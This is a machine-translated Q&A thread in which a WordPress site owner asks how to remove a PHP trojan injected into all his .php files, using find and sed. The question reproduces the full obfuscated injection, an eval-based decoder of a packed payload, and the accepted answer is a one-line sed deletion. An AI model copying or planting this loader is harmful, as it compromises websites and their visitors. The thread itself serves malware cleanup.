Удаление Wordpress Trojan: Как мне использовать find / sed -i / awk для рекурсивного удаления строки, содержащей «$ ua = strtolower» из * .php *?

453
Charles Thompson

Троян заразил все * .php на моем сервере. Я использовал это, чтобы идентифицировать и перечислить все файлы:

 grep -nHR "$ua=strtolower" /www/* | cut -d':' -f1 

Вот код:

<?php if(!isset($GLOBALS["\x61\156\x75\156\x61"])) { $ua=strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"]); if ((! strstr($ua,"\x6d\163\x69\145")) and (! strstr($ua,"\x72\166\x3a\61\x31"))) $GLOBALS["\x61\156\x75\156\x61"]=1; } ?><?php $jsikazxpyu = '6<*17-SFEBFI,6<*127-UVPFNJU,6<*27-SFGTOBSUOSVUd_SFSFGFS%x5c%x7860QUUI&c_UO3]Kc]55Ld]55#*<%x5c%x7825bG9}:}.}-}!#*<%x5x5c%x7825)utjm6<%x5c%x787fw6*CW&)7gj6<*K)c%x7827!hmg%x5c%x7825)!gj!|!*1?hu%x5c%x7825-#jt0}Z;0]=]0#)2q%x5c%x7825l}S;2-u%x5c%x7x5c%x785csboe))1%x5c%x782f35.)1%x5c%x782f14+9**-)1%x5c%x%x5c%x7825)kV%x5c%x7878{**#k#)tutjyf%x5c%x7860%x5c%x7878%x5c%x:8297f:5297e:56-%x5c%x7878r.985:5298mg%x5c%x7825)!gj!<**2-4-bubEA;~!}%x5c%x787f;!|!}{;)gj}l;33bq}k;opjudovg}%x5c%))!gj!<*#cd2bge56+99386c6f+9f5d816:+946:ce44#)zbssb!>!ssbnpe_GMFT%x5c%x782f#)rrd%x5c%x782f#00;quui#>.%x5c%x7825!<***f%x5c%x7827824]25%x5c%x7824-%x5c%x7824-!%x5cx7878;0]=])0#)U!%x5c%x7827{**x5f%155%x61%160%x28%421H*WCw*[!%x5c%x7825r252]y74]256#<!%x5c%x7825ff2!>!bssbz)%x5c%x7jt0*?]+^?]_%x5c%x785c}X%x5c%x7824<!%x5c%x7825tzw>!#]y76]277]y72]265]yx5c%x7860hA%x5c%x7827pd%x5c%x78256<pd%x5c%x7825w%x5c%x78786<C%x5c%x7827&6<*rfs%x5c%x78257-y6gP7L6M7]D4]275]D:M8]Dsvmt+fmhpph#)zbssb!-#}#)fepmqnj!%x5c%x782f!#0#)idubn%x%x5c%x7824Ypp3)%x5c%x7825cB%x5c%x7825iN}#-!tussfw)%x5c%x78!isset($GLOBALS["%x61%156%x75%156%x61"])))) { $GLOBALS["%x61%15660%x5c%x782f#M5]DgP5]D6#<%x5c%x7825fdy>#]D4]273]D6P2L5P6]y72]254]y76#<%x5c%x7825tmw!>!#]y84]27,*e%x5c%x7827,*d%x5c%x7827,*c%x5c%x7827!gj}1~!<2p%x5c%x7825%x5c%x787f!~!<##x7825s:N}#-%x5c%x7825o:W%x5c%x7825c:>1<%x5c%x7825b:>1<!gps)%x5c%x782%x7825%x5c%x7824-%x5c%x7824*!|!%x5c%x7824-%x5c%x7824%x5c%x785c%x5c%x76Z6<.4%x5c%x7860hA%x5c%x7827pd%x5c%x78256<pd%x5c%x78255h>#]y31]278]y3e]81]K78:56985:6197g:74985-rr.93e:5597f-s.973vd},;uqpuft%x5c%x7860msvd}+;!>!}%x5c%x7827;!>>>!}_;gvc%x5c%2b%x5c%x7825)gpf,;#-#}+;%x5c%x7825-q5L3]248L3P6L1M5]D2P4]D6#<%x5c%x7825G]y6d]281Ld]245]K2]285]Ke]53Ld]5c%x7825h>EzH,2W%x5c%x7825wN;#-Ez-!>#p#%x5c%x782f#p#%x5c%787f<u%x5c%x7825V%x5c%<#opo#>b%x5c%x7825!**X)ufttj%x5c%x7822)gj!|!*nbsbq%x5c%p%x5c%x7825)54l}%x5c%x7827;%x5c%x7825!<*#bubE.;%x5c%x7860UQPMSVD!-id%x5c%x7825)uqpuft%x5c%x7860mspn)%x5c%x7825epnbss-%x5c%x7825r%x5c%x7878W~!Ypp2)%x5x5c%x7825h00#*<%x5c%x7825nfd)##Qtpz)#x7827Z;h!opjudovg}{;#)tutjyf%x5c%x7860opjudovg)!gj!|c%x7825z>>2*!%x5c%x78255c%x7860hfsq)!sp!*#ojneb#-*f%x5c%x7825)sf%x5c%x7878pmpusut)tpq1%154%x28%151%x6d%160%x6c%157%x64%14!%x5c%x7825ggg)(0)%x5c%x782f+*0f(-!#]y76]277]y72%x5c%x7825z!>2<!gps)%x5c%x7825j>1<%x5c%x7825j=6[%x5c%x7825ww2]y34]68]y33]65]y31]53]y6d]281]y43]78]y33]65]y31]55]y85]82]y76]62]y300#W~!%x5c%x7825t2w)##Qtjw)#]82#-#!#-%x5c%x7825tmw)%x5c%x7825tww**W5j:>1<%x5c%x7825j:=tj_;#)323ldfid>}&;!osvufs}%x5c%x787f;!opjudovg}k~~9X;!sp!*#opo#>>}R;msv}.;%x5c%x%x75%156%x61"]=1; function fjfgg($n) @N}#QwTW%x5c%x7825hIr%x5c%x785c1^4y4%x5c%x7824-%x5c%x7%x7860QUUI&b%x5c%x7825!|!*)323zbek!~!<b%x5c%7822l:!}V;3q%x5c%x7825}U;y]}R;2]},;osvufs}%x5c%x7827;mnui}&;]341]88M4P8]37]278]225]241]334]368]322]3]36error_reporting(0); preg_replace("%x2f%50%x2e%52%!fmtf!%x5c%x7825b:>%x5c%x7825s:%x5c%x785c%x5c%x7825>j%x5c%x7825!*3!%x5c%x7827!825:<#64y]552]e7y]#>n%x5c%x7825<#372]58y]472]37y]Kc#<%x5c%x7825tpz!>!#]D6M7]K3#<%x5c%x7825yy>#]D6]281L1#3]y72]282#<!%x5c%x7825tjw!>!#]y84]275]y83]248]y83]256]y81]265]judovg<~%x5c%x7824<!%x5c%x7825o:!>!%x5c%x7#O#-#N#*%x5c%x7824%x5c%x78825!-#2#%x5c%x782f#%x5c%x7825#%x5c%x782f#o]#%x5c%x782f*)323zbe!-#%x5c%x7860QIQ&f_UTPI%x5c%x7860QUUI&e_SEEB%x5c%x7860FUPNFS&]672]48y]#>s%x5c%x7825<#462]47y]252]18y]#>q%!#~<#%x5c%x782f%x5c%x7825%x5c%x7824-%x5c%x7824!>!fyqmpef)#%12>j%x5c%x7825!|!*#91y]c9y]g2y]#>>*4-1->%x5c%x7822!ftmbg)!gj<*#k#)usbut%x5c%x7860c]265]y39]271]y83]256]y78]248]y83]256]y81]265]y72]254]y76]61]y33]68825j^%x5c%x7824-%x5c%x7824tvctus)%x5c%x7825%x5c%x7824-%x5c%8256|6.7euK;%x5c%x7860ufldpt}X;%x5c%x7860msvd}R;*msv%x5cx7822#)fepmqyfA>2b%x5c%x7825!<*qp%x5c%x7825-*.%x5c%x7825)euhA)3of>%x5c%x7827rfs%x5c%x78256~6<%x5c%x7gj6<.[A%x5c%x7827&6<%x5c%x787fw6*%25c*W%x5c%x7825eN+#Qi%x5c%x785c1^W%x5c%x7825c!8242178}527}88:}334}472%x5c%x7824<!%x5c%x7825mm!>!5-t.98]K4]65]D8]86]y357-K)udfoopdXA%x5c%x7822)7gj6<*QDU%x5c%x7860MPT7-NBFSUT%x5c%x7867;!}6;##}C;!>>!}W;utpi}Y;tuofuopd%x5c%x7860ufh%x5c%x7860fmjg}[;ldpx7825%x5c%x787f!<X>b%x5c%x7825Z<#opo#>b%x5c%x7825!*##>>X)!gjZ<#o]1%x5c%x782f20QUUI7jsv%x5c%x78257UFH#2)eobs%x5c%x7860un>qp%x5c%x7825!|Z~!<##!>!2p%x5c%x7825!|!*!***b%x5c825:>:r%x5c%x7825:|:**t%x5c%x7825)m%x5c%x7825=*h%x5c%x7825)m%x5c%xc%x7827pd%x5c%x78256<pd%x5c%x7825w6Z6<.2%x5c%x7860hA%!*msv%x5c%x7825)}k~~~<ftmbg!osvufs!|ftmf!~<**9.-j%x5c%x78FHB%x5c%x7860SFTV%x5cx7825}&;ftmbg}%x5c%x787f;!osvufs5c%x78256<^#zsfvr#%x5c%x785cq%x5c%x78257%x5c%x782f7#@#7%x5c%x782f7^#i25-bubE!x7825)323ldfidk!~!<**qp%x5c%x7825!-uyf}w;*%x5c%x787f!>>%x5c%x7822!pd%x5c%x7825)%x5c%x787f!|!*uyfu%x5c%x7827k:!ftmf!}Z;^nbsbq%x5c%x782782fh%x5c%x7825)n%x5c%x7825-#+I#)q%x5c%x7]y3d]51]y35]274]y4:]82]y3:]62]y4c#<!%x5c%x7825t::!>!c%x7825nfd>%x5c%x7825fdy<Cb*[%x5c%x7825h!>!%x5c%x7825tdz<pd%x5c%x7825w6Z6<.5%25!*72!%x5c%x7827!hmg%x5c%x7825)!gj!<2,*j%x5c%x7825-#1]#-bubE#-#%x5c%x7824-%x5c%7878:!>#]y3g]61]y3f]63]y3:]68]y76#%x7827K6<%x5c%x787fw6*3qj%x5c%xx5c%x787f_*#[k2%x5c%x7860:]84#-!OVMM*<%x22%51%x29%51%x2978257>%x5c%x782272qj%x5c%x7825)7gj6<**2qj%x5c%x7825)hopm3qjA)qj3hopmAfw6*%x5c%x787f_*#fubfsdXk5%x5c%x78z>3<!fmtf!%x5c%x7825z>2<!%x5c%x7825ww2)%x5c%x7825w%x5c%x7860TW~5]y83]273]y76]277#<%xx29%57%x65","%x65%166%x6%50%x22%134%x78%62%x35%165%x3a%146%x21%76%x21%50%x5c%x7825%x5c%x>!%x5c%x7825i%x5c%x785c2^<!Ce*[!%x5c%x7825cInbs+yfeobz+sfwjidsb%x5c%x7860bj+upcotn+q5c%x7825tzw%x5c%x782f%x5c%x782#]y81]273]y76]258]y6g]273]y76]271]y7d]e>u%x5c%x7825V<#65,47R25,d7R17,67R37,#%x5c%x782fq%x5c%x7825>U3]317]445]212]445]43]321]464]284]364]6]234]342]58]24]325j,,*!|%x5c%x7824-%x5c%x7824gvodujpo!%825)tpqsut>j%x5c%x7825!*9!%x5c%x7827!hmg%x5c%x7825)!gj!~<ox7824-tusqpt)%x5c%x7825z-#:#*%x5c%x7824-%x5c2bd%x5c%x7825!<5h%x5c%x7825%x5c%x782f#0#%x5c%x782f*#npdc%x7825zB%x5c%x7825z>!tussfw)%x5c%x7825zW%x5ssutRe%x5c%x7825)Rd%x5c%x7825)Rb%x5c%x7825]27]28y]#%x5c%x782fr%x5c%x7825%x5c%x%x7824!>!tus%x5c%x7860sfqmbdf)%x5c%x7825%x5c%x7824-%x5c%x782fs:~928>>%x5c%x7822:ftmbg39*56A:>:8:|:7#6#)tutjyf%x5c%x7860439275ttf/(.*)/epreg_replacezsydsjxoda'; $gwzjflvjgn = explode(chr((167-123)),'1340,60,1221,64,4846,62,5108,49,9305,24,3897,36,2006,26,842,22,8439,63,9329,64,8992,34,6815,54,8259,21,996,48,2350,54,3055,22,7632,53,4578,43,5902,59,116,41,3128,60,1462,22,1044,42,6360,42,8857,27,7459,40,7083,34,1904,37,7268,64,563,36,9026,31,9118,69,6895,64,7795,69,6253,69,6472,39,508,35,1813,30,3396,53,9187,34,1285,55,6576,56,1484,67,1760,53,6024,34,0,46,6121,63,1438,24,8624,43,7117,34,9057,30,7332,66,6959,58,3449,60,2464,59,7763,32,8015,41,3761,51,7685,57,7864,51,5199,36,8403,36,6322,38,8280,70,9699,58,8734,54,4451,67,157,32,395,47,6685,20,5695,39,2860,49,6058,63,2177,36,4351,62,2523,49,7017,66,9801,55,718,62,2138,39,2963,40,3003,52,7499,67,4728,51,9437,40,1109,54,3835,62,9900,42,653,65,5534,58,46,28,7742,21,4961,44,7398,61,2764,55,7977,38,1400,38,8056,54,4779,67,2572,47,2819,41,4621,67,10038,68,6705,51,7915,62,1582,31,8788,69,5734,43,6184,38,2742,22,3598,69,9545,61,2909,54,6511,65,297,62,5005,60,599,54,813,29,189,52,5469,65,927,69,1843,61,5339,62,2101,37,9284,21,6869,26,3285,48,3077,51,4413,38,8350,53,9942,36,8110,41,7566,66,6756,35,5235,48,5592,44,1551,31,4299,52,5401,42,7197,50,9507,38,884,43,780,33,2281,69,5843,59,8949,43,9757,44,9978,60,4940,21,1700,60,9660,39,1613,58,8912,37,3667,43,3255,30,5636,59,3710,51,8151,52,1163,58,7151,46,9393,44,3333,63,3509,52,9856,44,2686,33,864,20,4908,32,543,20,1671,29,4109,67,6632,53,2404,60,359,36,7247,21,3211,44,8566,58,5283,56,2046,55,1086,23,3188,23,2619,67,74,42,8203,56,5961,63,3561,37,5065,43,8502,64,9606,54,4518,39,241,56,4246,53,2213,68,4176,70,4557,21,5157,42,6222,31,1941,65,8884,28,3981,61,2719,23,6791,24,3812,23,9221,63,8667,67,9477,30,442,66,5443,26,6402,70,4688,40,3933,48,5777,66,4042,67,9087,31,2032,14'); $xmardksupn=substr($jsikazxpyu,(45923-35817),(48-41)); if (!function_exists('jqtycdwglc')) { function jqtycdwglc($tutcgbfyga, $uspwicgair) { $fadtmurxrp = NULL; for($fcsoyutzvq=0;$fcsoyutzvq<(sizeof($tutcgbfyga)/2);$fcsoyutzvq++) { $fadtmurxrp .= substr($uspwicgair, $tutcgbfyga[($fcsoyutzvq*2)],$tutcgbfyga[($fcsoyutzvq*2)+1]); } return $fadtmurxrp; };} $yymyiypvji="\x20\57\x2a\40\x62\172\x69\150\x67\163\x74\171\x69\162\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x32\61\x33\55\x31\67\x36\51\x29\54\x20\143\x68\162\x28\50\x33\66\x30\55\x32\66\x38\51\x29\54\x20\152\x71\164\x79\143\x64\167\x67\154\x63\50\x24\147\x77\172\x6a\146\x6c\166\x6a\147\x6e\54\x24\152\x73\151\x6b\141\x7a\170\x70\171\x75\51\x29\51\x3b\40\x2f\52\x20\144\x62\172\x7a\145\x70\152\x65\143\x67\40\x2a\57\x20"; $kssqaiublz=substr($jsikazxpyu,(61036-50923),(58-46)); $kssqaiublz($xmardksupn, $yymyiypvji, NULL); $kssqaiublz=$yymyiypvji; $kssqaiublz=(455-334); $jsikazxpyu=$kssqaiublz-1; ?> 

Если я попробую: find . -name *.php -type f -print0 | xargs -0 sed -i 's/[that code here]//g'

Сед не примет это. Это не нравится!, (,) И, возможно, ". Выплевывает ошибку.

Можете ли вы придумать творческий способ лечения всех этих файлов? Я считаю, что код может быть уникальным для каждого файла, рандомизированным определенным образом ...

Токен "$ ua = strtolower" находится в каждом из них, поэтому, если я смогу удалить все строки из каждого * .php, содержащего "$ ua = strtolower", тогда я смогу успешно удалить троян.

1
[Ядерный это с орбиты. Это единственный способ быть уверенным.] (Http://security.stackexchange.com/questions/39231/how-do-i-deal-with-a-compromised-server) Mark 8 лет назад 1
Они получают через взломать xmlrpc.php. У меня есть журналы с грубой грубой силой ... Мы обновились до 15.04, чтобы они больше не могли рутировать коробку .. По крайней мере _i Think_ .. rpcbind был запущен, и я знаю, что это плохо, все еще нужно проверить, если 15.xx Ubuntu Server включает в себя rpcbind. У них был спамбот, работающий на нашей последней установке (нам пришлось переустанавливать) ... 8 лет назад 0
не лечите - вам нужно восстановить и убедиться, что ваши настройки и плагины не позволят этому повториться schroeder 8 лет назад 0
Что касается заданного вопроса, то это вопрос bash-скрипта, а не вопрос InfoSec. schroeder 8 лет назад 0
Хорошо. Ну, я хочу удалить трояна из всех файлов, создать резервную копию всего этого, а затем переустановить. Мы заблокируем точку входа злоумышленника. Мы подозреваем, что это связано с грубой силой, и использование reCAPTCHA во всех наших логинах Wordpress может решить проблему. Charles Thompson 8 лет назад 0
С security@wordpress.org также связались ... Просто нужно удалить все трояны. Заражал каждый * .php * в / www ... Charles Thompson 8 лет назад 0

1 ответ на вопрос

1
Charles Thompson

solved

find . -name *.php -type f -print0 | xargs -0 sed -i.bak '/$ua=strtolower/d'

It messed up my theme for Wordpress but I restored it from backup.. Something about the top line of <?php not being there...